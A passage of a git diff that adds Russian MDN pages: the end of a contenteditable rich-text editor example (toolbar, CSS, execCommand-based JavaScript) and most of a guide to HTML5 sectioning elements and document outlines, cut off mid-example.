src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="&gt;
+&lt;img class="intLink" title="Жирный" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /&gt;
+&lt;img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /&gt;
+&lt;img class="intLink" title="Подчеркивание" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /&gt;
+&lt;img class="intLink" title="Выровнять слева" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /&gt;
+&lt;img class="intLink" title="Выровнять центр" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /&gt;
+&lt;img class="intLink" title="Выровнять справа" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /&gt;
+&lt;img class="intLink" title="Нумерованный список" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" /&gt;
+&lt;img class="intLink" title="Пунктирный список" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" /&gt;
+&lt;img class="intLink" title="Цитата" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" /&gt;
+&lt;img class="intLink" title="Удалить отступ" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" /&gt;
+&lt;img class="intLink" title="Добавить отступ" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" /&gt;
+&lt;img class="intLink" title="Гиперссылка" onclick="var sLnk=prompt('Введите ваш URL','http:\/\/');if(sLnk&amp;&amp;sLnk!=''&amp;&amp;sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" /&gt;
+&lt;img class="intLink" title="Вырезать" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" /&gt;
+&lt;img class="intLink" title="Копировать" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" /&gt;
+&lt;img class="intLink" title="Вставить" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" /&gt;
+&lt;/div&gt;
+&lt;div id="textBox" contenteditable="true"&gt;&lt;p&gt;Однажды в студёную, зимнюю пору...&lt;/p&gt;&lt;/div&gt;
+&lt;span&gt;&lt;input id="btn" type="submit" value="Принять" /&gt;&lt;/span&gt;
+&lt;span id="editMode"&gt;&lt;input id="switchBox" type="checkbox" name="switchMode" onchange="setDocMode(this.checked);" /&gt; &lt;label for="switchBox"&gt;Показать HTML&lt;/label&gt;&lt;/span&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<pre class="brush: css">.content { display: none; }
+.content::after {
+  display: block; content: ' ( 'url(href="sample.php")' ) ';
+}
+form {
+  display: inline-block;
+  background-color: rgba(180,180,180,.8);
+  border: 1px solid rgba(155,155,155,.6);
+}
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; background-color: #eff;}
+#textBox {
+  min-width: 500px;
+  height: 300px;
+  border: 1px solid rgba(155,155,155,.6);
+  padding: 12px;
+  overflow: scroll;
+  background-color: #eff;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  max-width: 800px;
+  min-height: 200px;
+}
+#switchBox, label, #btn { cursor: pointer; }
+</pre>
+
+<pre class="brush: js">var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchBox.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchBox.checked) { return true ; }
+  alert("Uncheck \"Показать HTML\"."); /* убрать галочку из "Показать HTML" */
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+    document.execCommand("defaultParagraphSeparator", false, "div");
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("&lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;title&gt;Print&lt;\/title&gt;&lt;\/head&gt;&lt;body onload=\"print();\"&gt;" + oDoc.innerHTML + "&lt;\/body&gt;&lt;\/html&gt;");
+  oPrntWin.document.close(); /*  */
+}
+
+</pre>
+</div>
+
+<p><br>
+ Результат: {{EmbedLiveSample('Пример')}}</p>
+
+<div class="note"><strong>Примечание:</strong> если вы хотите увидеть, как стандартизировать создание и вставку вашего редактора на свою страницу, см. <a href="https://developer.mozilla.org/@api/deki/files/6243/=rich-text-editor.zip" title="rich-text-editor.zip">наш более полный пример редактора.</a> </div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>{{htmlattrxref("contenteditable")}} глобальный атрибут</li>
+ <li><a href="/en-US/docs/Mozilla/Projects/Midas">Midas</a> (компонент сценария для текстового редактора)</li>
+ <li>{{cssxref("caret-color")}}, позволяющий установить цвет вставляемого текста</li>
+</ul>
diff --git a/files/ru/web/guide/html/sections_and_outlines_of_an_html5_document/index.html b/files/ru/web/guide/html/sections_and_outlines_of_an_html5_document/index.html
new file mode 100644
index 0000000000..a6236d9c24
--- /dev/null
+++ b/files/ru/web/guide/html/sections_and_outlines_of_an_html5_document/index.html
@@ -0,0 +1,375 @@
+---
+title: Использование разделов и создание структуры HTML документа
+slug: Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document
+tags:
+  - HTML5
+  - Веб
+  - Для опытных разработчиков
+  - Обзор
+  - Пример
+  - Разделы
+  - Руководство
+  - Структура
+translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
+---
+<div class="warning">
+<p><strong>Важно</strong>: В настоящее время нет известных реализаций алгоритма построения структуры документа в графических браузерах или пользовательских приложениях, использующих реабилитационные технологии, хотя такой алгоритм внедрен в другие приложения, например, в средствах проверки соответствия спецификации. Поэтому алгоритм <a href="http://www.w3.org/TR/html5/sections.html#outline">построения структуры</a> нельзя использовать для передачи структуры документа пользователям. Авторы рекомендуют использовать для этой цели <a href="http://www.w3.org/TR/html5/sections.html#rank">степень важности</a> заголовков (<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h1</a></code>-<code><a href="http://www.w3.org/TR/html5/sections.html#the-h1,-h2,-h3,-h4,-h5,-and-h6-elements">h6</a></code>).</p>
+</div>
+
+<p>Спецификация HTML5 предлагает разработчикам несколько новых элементов, позволяющих описывать структуру веб-документа с помощью стандартной семантики. В настоящей статье описываются эти элементы и способы их использования для создания требуемой структуры любого документа.</p>
+
+<h2 id="Структура_документа_в_HTML_4">Структура документа в HTML 4</h2>
+
+<p>Структура документа, т. е. семантическая структура контента, заключенного в теги  <code>&lt;body&gt;</code> и <code>&lt;/body&gt;</code>, является основой для представления страницы пользователю. HTML4 использует для описания структуры страницы разделы и подразделы. Раздел определяется элементом ({{HTMLElement("div")}}) с включенными в него элементами заголовка ({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}} или {{HTMLElement("h6")}}), содержащими его название. Структура документа определяется отношениями между этими элементами.</p>
+
+<p>Так, следующая разметка:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:xml notranslate">&lt;div class="section" id="forest-elephants" &gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+  &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.
+    ...продолжение данного раздела...
+  &lt;div class="subsection" id="forest-habitat" &gt;
+    &lt;h2&gt;Среда обитания&lt;/h2&gt;
+    &lt;p&gt;Лесные слоны живут не на деревьях, а под ними.
+     ...продолжение данного подраздела...
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>обеспечивает следующую структуру:</p>
+
+<pre class="notranslate">1. Лесные слоны
+   1.1 Среда обитания
+</pre>
+
+<p>Для задания нового раздела не обязательно использовать элементы {{HTMLElement("div")}}. Для этого достаточно наличия элемента заголовка. Поэтому, разметка</p>
+
+<pre class="brush:xml notranslate">&lt;h1&gt;Лесные слоны&lt;/h1&gt;
+ &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.
+    ...продолжение данного раздела...
+  &lt;h2&gt;Среда обитания&lt;/h2&gt;
+  &lt;p&gt;Лесные слоны живут не на деревьях, а под ними.
+    ...продолжение данного подраздела...
+  &lt;h2&gt;Рацион&lt;/h2&gt;
+&lt;h1&gt;Монгольская песчанка&lt;/h1&gt;
+</pre>
+
+<p>обеспечивает следующую структуру:</p>
+
+<pre class="notranslate">1. Лесные слоны
+   1.1 Среда обитания
+   1.2 Рацион
+2. Монгольская песчанка
+</pre>
+
+<h2 id="Какие_проблемы_решает_HTML5">Какие проблемы решает HTML5</h2>
+
+<p>Определение структуры документа и неявный алгоритм создания структуры в HTML 4 не отличаются четкостью, что порождает множество проблем:</p>
+
+<ol>
+ <li>Использование {{HTMLElement("div")}} для задания семантических разделов, без задания специальных значений для атрибутов <strong>class</strong> не позволяет автоматизировать алгоритм создания структуры («Является ли данный {{HTMLElement("div")}} частью структуры страницы, определяющим раздел или подраздел, или он используется исключительно для управления стилем?»). Другими словами, спецификация HTML4 не дает точного определения разделу и четких правил его определения. Автоматическое создание структуры имеет большое значение, особенно в случае с <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">реабилитационными технологиями</a>, представляющими информацию пользователю в соответствии со структурой документа. HTML5 позволяет больше не использовать элементы {{HTMLElement("div")}} в алгоритме построения структуры благодаря добавлению нового элемента {{HTMLElement("section")}}.</li>
+ <li>Объединить несколько документов в один непросто: включение подчиненного документа в основной документ требует изменения уровня элементов заголовков для сохранения правильной структуры. В HTML5 эта проблема решена благодаря новым элементам задания разделов ({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} и {{HTMLElement("aside")}}), которые всегда являются подразделами ближайшего родительского раздела, независимо от того, какие разделы создаются внутренними заголовками.</li>
+ <li>В HTML4 каждый раздел является частью структуры документа. Однако часто документы отличаются сложной, нелинейной структурой. Документ может включать специальные разделы, информация в которых не является частью основного контента, хотя и связана с ним, например, рекламный блок или поясняющая заметка. HTML5 добавляет элемент {{HTMLElement("aside")}}, позволяющий исключить такие разделы из основной структуры.</li>
+ <li>Опять же, поскольку в HTML4 каждый раздел является частью структуры документа, как быть с разделами, содержащими информацию, касающуюся не конкретного документа, а всего сайта, например, логотипы, оглавления или информация об авторских правах и правовые положения. В HTML5 для этих целей добавлено три новых элемента: {{HTMLElement("nav")}} для наборов ссылок, например, оглавления, {{HTMLElement("footer")}} и {{HTMLElement("header")}} для информации, касающейся всего сайта. Обратите внимание, что {{HTMLElement("header")}} и {{HTMLElement("footer")}} не создают разделы как {{HTMLElement("section")}}, а, скорее, обеспечивают семантическую разметку частей раздела.</li>
+</ol>
+
+<p>В общем, HTML5 обеспечивает большую точность при задании разделов и оглавлений, позволяя строить более предсказуемую структуру документа, что дает браузерам возможность более качественно обслуживать пользователей.</p>
+
+<h2 id="Алгоритм_создания_структуры_HTML5">Алгоритм создания структуры HTML5</h2>
+
+<h3 id="Задание_разделов_в_HTML5">Задание разделов в HTML5</h3>
+
+<p>Весь контент, находящийся внутри {{HTMLElement("body")}}, является частью раздела. Разделы в HTML5 могут быть вложенными. Помимо основного раздела, определяемого элементом {{HTMLElement("body")}}, границы разделов определяются явным или неявным образом. Явным образом заданные разделы – это контент внутри тегов {{HTMLElement("body")}},  {{HTMLElement("section")}},  {{HTMLElement("article")}},  {{HTMLElement("aside")}} и {{HTMLElement("nav")}}. </p>
+
+<div class="note"><strong>Note: </strong>Каждый раздел может иметь собственную иерархию заголовков. Следовательно, даже вложенный раздел может иметь {{HTMLElement("h1")}}. См. <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5" title="en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5">«Задание заголовков в HTML5»</a>.</div>
+
+<p>Например:</p>
+
+<pre class="brush:xml notranslate">&lt;section&gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Введение&lt;/h1&gt;
+    &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Среда обитания&lt;/h1&gt;
+    &lt;p&gt;Лесные слоны живут не на деревьях, а под ними.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;aside&gt;
+    &lt;p&gt;рекламный блок&lt;/p&gt;
+  &lt;/aside&gt;
+&lt;/section&gt;
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 The Example company&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<p>Данный фрагмент HTML задает раздел верхнего уровня:</p>
+
+<pre class="notranslate"><span style="color: red;">&lt;section&gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Введение&lt;/h1&gt;
+    &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Среда обитания&lt;/h1&gt;
+    &lt;p&gt;Лесные слоны живут не на деревьях, а под ними.&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;aside&gt;
+    &lt;p&gt;рекламный блок&lt;/p&gt;
+  &lt;/aside&gt;
+&lt;/section&gt;</span>
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 The Example company&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<p>Данный раздел имеет три подраздела:</p>
+
+<pre class="notranslate">&lt;section&gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+
+  <span style="color: red;">&lt;section&gt;
+    &lt;h1&gt;Введение&lt;/h1&gt;
+    &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.&lt;/p&gt;
+  &lt;/section&gt;</span>
+
+  <span style="color: green;">&lt;section&gt;
+    &lt;h1&gt;Среда обитания&lt;/h1&gt;
+    &lt;p&gt;Лесные слоны живут не на деревьях, а под ними.&lt;/p&gt;
+  &lt;/section&gt;</span>
+
+  <span style="color: blue;">&lt;aside&gt;
+    &lt;p&gt;рекламный блок&lt;/p&gt;
+  &lt;/aside&gt;</span>
+&lt;/section&gt;
+
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 The Example company&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<p>В результате получаем следующую структуру:</p>
+
+<pre class="notranslate">1. Лесные слоны
+   1.1 Введение
+   1.2 Среда обитания
+</pre>
+
+<h3 id="Задание_заголовков_в_HTML5">Задание заголовков в HTML5</h3>
+
+<p>Хотя структура определяется элементами задания структуры, она будет практически бесполезна без заголовка. Основное правило очень простой: первый элемент заголовка (это может быть {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}) задает заголовок текущего раздела.</p>
+
+<p>Элемент заголовка имеет определенную <em>степень важности,</em> определяемую цифрой в его названии, таким образом, {{HTMLElement("h1")}} имеет <em>максимальную</em> степень важности, а {{HTMLElement("h6")}} <em>минимальную</em>. Соотношение степеней важности имеет смысл только внутри раздела; структура документа определяется структурами разделов, а не степенью важности заголовков разделов. Например, данный код:</p>
+
+<pre class="brush:xml notranslate">&lt;section&gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+  &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.
+    ...продолжение данного раздела...
+  &lt;section&gt;
+    &lt;h2&gt;Среда обитания&lt;/h2&gt;
+    &lt;p&gt;Лесные слоны живут не на деревьях, а под ними.
+        ...продолжение данного подраздела...
+  &lt;/section&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;h3&gt;Монгольская песчанка&lt;/h3&gt;
+  &lt;p&gt;В данном разделе мы расскажем о монгольской песчанке.
+     ...продолжение данного раздела...
+&lt;/section&gt;</pre>
+
+<p>приводит к следующей структуре:</p>
+
+<pre class="notranslate">1. Лесные слоны
+   1.1 Среда обитания
+2. Монгольская песчанка</pre>
+
+<p>Обратите внимание, что степень важности элемента заголовка (в данном примере {{HTMLElement("h1")}} для первого раздела верхнего уровня, {{HTMLElement("h2")}} для подраздела {{HTMLElement("h3")}} для второго раздела верхнего уровня) роли не играет. (В качестве заголовка явно заданного раздела может использоваться заголовок с любой степенью важности, хотя такая практика и не рекомендуется.)</p>
+
+<h3 id="Неявное_задание_разделов">Неявное задание разделов</h3>
+
+<p>Поскольку элементы задания разделов HTML5 Sectioning Elements не являются обязательными для задания структуры, можно задавать разделы и не используя их, чтобы обеспечить совместимость с веб-сайтами, созданными на HTML4. Это называется <em>неявным заданием разделов</em>.</p>
+
+<p>Элементы заголовков ({{HTMLElement("h1")}} — {{HTMLElement("h6")}}) задают новый, неявный раздел, когда не являются первым заголовком своего родительского, явно заданного раздела. То, как этот неявно заданный раздел располагается в структуре документа, определяется отношением важности его заголовка в важности предыдущего заголовка в родительском разделе. Если его степень важности ниже, чем у предыдущего заголовка, он открывает неявно заданный подраздел раздела. Следующий код:</p>
+
+<pre class="brush:xml notranslate">&lt;section&gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+  &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.
+    ...продолжение данного раздела...
+  &lt;h3 class="implicit subsection"&gt;Среда обитания&lt;/h3&gt;
+  &lt;p&gt;Лесные слоны живут не на деревьях, а под ними.
+    ...продолжение данного подраздела...
+&lt;/section&gt;</pre>
+
+<p>приводит к следующей структуре:</p>
+
+<pre class="notranslate">1. Лесные слоны
+   1.1 Среда обитания <em>(неявно задано элементом h3)</em>
+</pre>
+
+<p>Если степень важности такого заголовка совпадает со степенью важности предыдущего заголовка, он закрывает предыдущий раздел (который мог быть задан неявно!) и открывает новый неявно заданный раздел на том же уровне: </p>
+
+<pre class="brush:xml notranslate">&lt;section&gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+  &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.
+    ...продолжение данного раздела...
+  &lt;h1 class="implicit section"&gt;Монгольская песчанка&lt;/h1&gt;
+  &lt;p&gt;Монгольская песчанка – это небольшое симпатичное млекопитающее.
+    ...продолжение данного раздела...
+&lt;/section&gt;</pre>
+
+<p>приводит к следующей структуре:</p>
+
+<pre class="notranslate">1. Лесные слоны
+2. Монгольская песчанка <em>(неявно задано элементом h1, который одновременно закрывает предыдущий раздел)</em>
+</pre>
+
+<p>Если степень важности такого заголовка выше, чем у предыдущего заголовка, он закрывает предыдущий раздел и открывает новый неявно заданный раздел на более высоком уровне:</p>
+
+<pre class="brush:xml notranslate">&lt;body&gt;
+  &lt;h1&gt;Млекопитающие&lt;/h1&gt;
+  &lt;h2&gt;Киты&lt;/h2&gt;
+  &lt;p&gt;В данном разделе мы поговорим о китах.
+    ...продолжение данного раздела...
+  &lt;section&gt;
+    &lt;h3&gt;Лесные слоны&lt;/h3&gt;
+    &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах.
+    ...продолжение данного раздела...
+    &lt;h3&gt;Монгольская песчанка&lt;/h3&gt;
+      &lt;p&gt;Песчанки распространились далеко за пределы Монголии.
+         ...продолжение данного подраздела...
+    &lt;h2&gt;Рептилии&lt;/h2&gt;
+      &lt;p&gt;Рептилии – это холоднокровные животные.
+          ...продолжение данного раздела...
+  &lt;/section&gt;
+&lt;/body&gt;</pre>
+
+<p>приводит к следующей структуре:</p>
+
+<pre class="notranslate">1. Млекопитающие
+   1.1 <em>Киты (неявно задается элементом h2)</em>
+   1.2 Лесные слоны <em>(явным образом задается элементом раздела)</em>
+   1.3 Монгольская песчанка <em>(неявно задается элементом h3, который одновременно закрывает предыдущий раздел)</em>
+2. <em>Рептилии (неявно задается элементом h2, который одновременно закрывает предыдущий раздел)</em>
+</pre>
+
+<p>Эта не та структура, которую можно было бы ожидать, бегло просмотрев теги заголовков. Чтобы разметка стала понятна человеку, а также чтобы степень важности заголовка соответствовала уровню вложенности раздела, рекомендуется использовать наглядные теги для открытия и закрытия разделов. Однако спецификация HTML5 этого не требует. Поэтому, если браузеры отображают структуру документа не так, как ожидалось, проверьте, нет ли в документе разделов, не явно закрытых элементами заголовков.</p>
+
+<p>Исключение из общего правила соответствия степени важности тега уровню вложенности раздела делается для разделов, которые могут использоваться в нескольких документах. Например, раздел может храниться в системе управления контентом и добавляться в документы при их генерировании. В этом случае рекомендуется начинать с {{HTMLElement("h1")}} в качестве главного заголовка многократно используемого раздела. Уровень вложенности многократно используемого раздела будет определяться иерархией разделов документа, в который он добавляется. Теги для явного задания разделов по-прежнему останутся полезными и в этом конкретном случае.</p>
+
+<h3 id="Корни_задания_разделов"><a name="sectioning_root">Корни задания разделов</a></h3>
+
+<p> <a id="sectioning root" name="sectioning root">Корень задания разделов</a> – это элемент HTML, который может иметь собственную структуру, однако входящие в нее разделы и заголовки, не входят в структуру его родительского элемента. Помимо {{HTMLElement("body")}}, который является логическим корнем задания разделов документа, такими элементами часто являются элементы, добавляющие внешний контент на страницу: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} и {{HTMLElement("td")}}.</p>
+
+<p>Например:</p>
+
+<pre class="brush:xml notranslate">&lt;section&gt;
+  &lt;h1&gt;Лесные слоны&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h2&gt;Введение&lt;/h2&gt;
+    &lt;p&gt;В данном разделе мы поговорим о малоизвестных лесных слонах&lt;/p&gt;
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h2&gt;Среда обитания&lt;/h2&gt;
